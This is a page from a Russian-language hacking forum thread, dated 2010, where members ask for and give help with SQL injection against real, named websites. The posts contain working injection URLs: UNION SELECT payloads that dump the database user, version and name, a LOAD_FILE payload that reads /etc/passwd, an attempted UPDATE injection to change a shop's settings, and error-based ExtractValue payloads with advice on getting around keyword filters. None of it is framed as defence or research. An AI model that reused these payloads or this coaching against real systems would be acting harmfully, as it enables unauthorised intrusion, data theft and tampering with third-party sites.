HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1420 из 2438 « Первая < 420920132013701410 1416 1417 1418 1419 1420 1421 1422 1423 1424 14301470152019202420 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #14191  
Старый 03.07.2010, 19:48
Cybersteger
Познающий
Регистрация: 09.10.2009
Сообщений: 31
Провел на форуме:
287607

Репутация: 19
По умолчанию
ггг, сенкю
 
Ответить с цитированием

  #14192  
Старый 03.07.2010, 21:04
Fak1r
Познающий
Регистрация: 03.06.2007
Сообщений: 31
Провел на форуме:
163026

Репутация: 3
Отправить сообщение для Fak1r с помощью ICQ
По умолчанию
А можно ли че нить сделать с этим http://www.printcopy.info/index.php?l=ru&mod=docs&brand=Canon&gID=17416'
 
Ответить с цитированием

  #14193  
Старый 03.07.2010, 21:10
Cybersteger
Познающий
Регистрация: 09.10.2009
Сообщений: 31
Провел на форуме:
287607

Репутация: 19
По умолчанию
Цитата:
Сообщение от Fak1r  
Fak1r said:
А можно ли че нить сделать с этим http://www.printcopy.info/index.php?l=ru&mod=docs&brand=Canon&gID=17416'
_http://www.printcopy.info/index.php?l=ru&mod=docs&brand=Canon&gID=-17416'+UNION+SELECT+1,USER(),VERSION(),4,DATABASE( ),6,7,8,9,10+--+
 
Ответить с цитированием

  #14194  
Старый 04.07.2010, 13:59
shuba
Постоянный
Регистрация: 22.05.2009
Сообщений: 514
Провел на форуме:
3579051

Репутация: 133


По умолчанию
http://www.besedin.com/zerkalo/foto.php?id=-6075%27+union+select+1,LOAD_FILE%28%27/etc/passwd%27%29,3,4,5+from+mysql.user--+

не могу найти пути

Помогите плз
 
Ответить с цитированием

  #14195  
Старый 04.07.2010, 16:51
Aels
Guest
Сообщений: n/a
Провел на форуме:
7263

Репутация: 0
По умолчанию
День добрый, есть линк

Цитата:
Сообщение от None  
id=-1+union+select+1,2,concat_ws(char(59),ConfigName,C onfigValue),4,5,6,7,8,9+from+settings+where+Config Name='foot'+--+
отлично работает. нужно проапдейтить ConfigValue, update после юниона не канает

Цитата:
Сообщение от None  
-1+union+update+settings+set+ConfigValue=0x61+where +ConfigName=0x666F6F74+--+
можно ли сделать что-то вроде

Цитата:
Сообщение от None  
-1+||+(update+settings+set+ConfigValue=0x61+where+C onfigName=0x666F6F74)+--+
как быть?

*линк пмну, это бескартонный шоп, но нужен =__=
 
Ответить с цитированием

  #14196  
Старый 04.07.2010, 17:13
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
Цитата:
Сообщение от Aels  
Aels said:
День добрый, есть линк
отлично работает. нужно проапдейтить ConfigValue, update после юниона не канает
можно ли сделать что-то вроде
как быть?
*линк пмну, это бескартонный шоп, но нужен =__=
нельзя
 
Ответить с цитированием

  #14197  
Старый 04.07.2010, 17:14
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
Цитата:
Сообщение от shuba  
shuba said:
http://www.besedin.com/zerkalo/foto.php?id=-6075%27+union+select+1,LOAD_FILE%28%27/etc/passwd%27%29,3,4,5+from+mysql.user--+
не могу найти пути
Помогите плз
ищи в конфигах путь

клац
 
Ответить с цитированием

  #14198  
Старый 04.07.2010, 19:58
hacker-nubik
Новичок
Регистрация: 20.04.2010
Сообщений: 1
Провел на форуме:
38021

Репутация: 3
По умолчанию
Есть SQL-INJ

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]and[/COLOR][COLOR="#0000BB"]ExtractValue[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0x5c[/COLOR][COLOR="#007700"],([/COLOR][COLOR="#0000BB"]select version[/COLOR][COLOR="#007700"]())))--+[/COLOR][/COLOR] 
фильтруются слова union|where|table_name|user|column_name|, самое главное это table_name, какими способами возможно обойти фильтр на слово table_name, ибо узнать таблицу с админа не как не удается..

делал

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]and[/COLOR][COLOR="#0000BB"]ExtractValue[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0x5c[/COLOR][COLOR="#007700"],([/COLOR][COLOR="#0000BB"]select unhex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0x7461626C655F6E616D65[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]from information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables limit 16[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])))--+[/COLOR][/COLOR] 
результата не дало..
 
Ответить с цитированием

  #14199  
Старый 04.07.2010, 20:00
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию
С регистром играться не пробовал?
 
Ответить с цитированием

  #14200  
Старый 04.07.2010, 20:03
hacker-nubik
Новичок
Регистрация: 20.04.2010
Сообщений: 1
Провел на форуме:
38021

Репутация: 3
По умолчанию
пробовал )
 
Ответить с цитированием
Ответ
Страница 1420 из 2438 « Первая < 420920132013701410 1416 1417 1418 1419 1420 1421 1422 1423 1424 14301470152019202420 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
 


Быстрый переход




ANTICHAT.XYZ